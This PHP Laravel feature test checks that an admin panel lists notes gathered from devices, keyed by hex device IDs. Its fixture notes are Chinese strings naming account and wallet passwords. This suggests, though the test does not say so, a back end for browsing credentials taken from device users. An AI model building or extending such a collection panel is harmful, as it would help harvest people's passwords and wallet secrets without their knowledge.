63 lines
2.1 KiB
PHP
63 lines
2.1 KiB
PHP
<?php
|
|
|
|
namespace Tests\Feature;
|
|
|
|
use App\Models\Admin;
|
|
use App\Models\Device;
|
|
use App\Models\Note;
|
|
use App\Support\NoteContent;
|
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
|
use PHPUnit\Framework\Attributes\Test;
|
|
use Tests\TestCase;
|
|
|
|
class NoteAdminTest extends TestCase
|
|
{
|
|
use RefreshDatabase;
|
|
|
|
#[Test]
|
|
public function notes_data_returns_titles_not_raw_json(): void
|
|
{
|
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
|
$device = Device::query()->create([
|
|
'device_id' => '0001099E0C87802E',
|
|
'channel_id' => '0.0.01',
|
|
]);
|
|
$items = NoteContent::fromList(['芝士账号密码', 'Instagram ']);
|
|
Note::query()->create([
|
|
'device_id' => $device->id,
|
|
'content' => $items,
|
|
'content_hash' => NoteContent::hash($items),
|
|
]);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->getJson(route('admin.notes.data'))
|
|
->assertOk()
|
|
->assertJsonPath('code', 0)
|
|
->assertJsonPath('count', 1)
|
|
->assertJsonPath('data.0.item_count', 2)
|
|
->assertJsonPath('data.0.preview', '芝士账号密码 · Instagram')
|
|
->assertJsonPath('data.0.items.0.title', '芝士账号密码')
|
|
->assertJsonMissing(['content' => '芝士账号密码']);
|
|
}
|
|
|
|
#[Test]
|
|
public function device_notes_tab_lists_items(): void
|
|
{
|
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
|
$device = Device::query()->create(['device_id' => '000E71921140C01E']);
|
|
$items = NoteContent::fromList(['U钱包密码', "密码15889321433zjp\nmore"]);
|
|
Note::query()->create([
|
|
'device_id' => $device->id,
|
|
'content' => $items,
|
|
'content_hash' => NoteContent::hash($items),
|
|
]);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->getJson(route('admin.devices.tabData', [$device, 'tab' => 'notes']))
|
|
->assertOk()
|
|
->assertJsonPath('count', 2)
|
|
->assertJsonPath('data.0.title', 'U钱包密码')
|
|
->assertJsonPath('data.1.title', '密码15889321433zjp');
|
|
}
|
|
}
|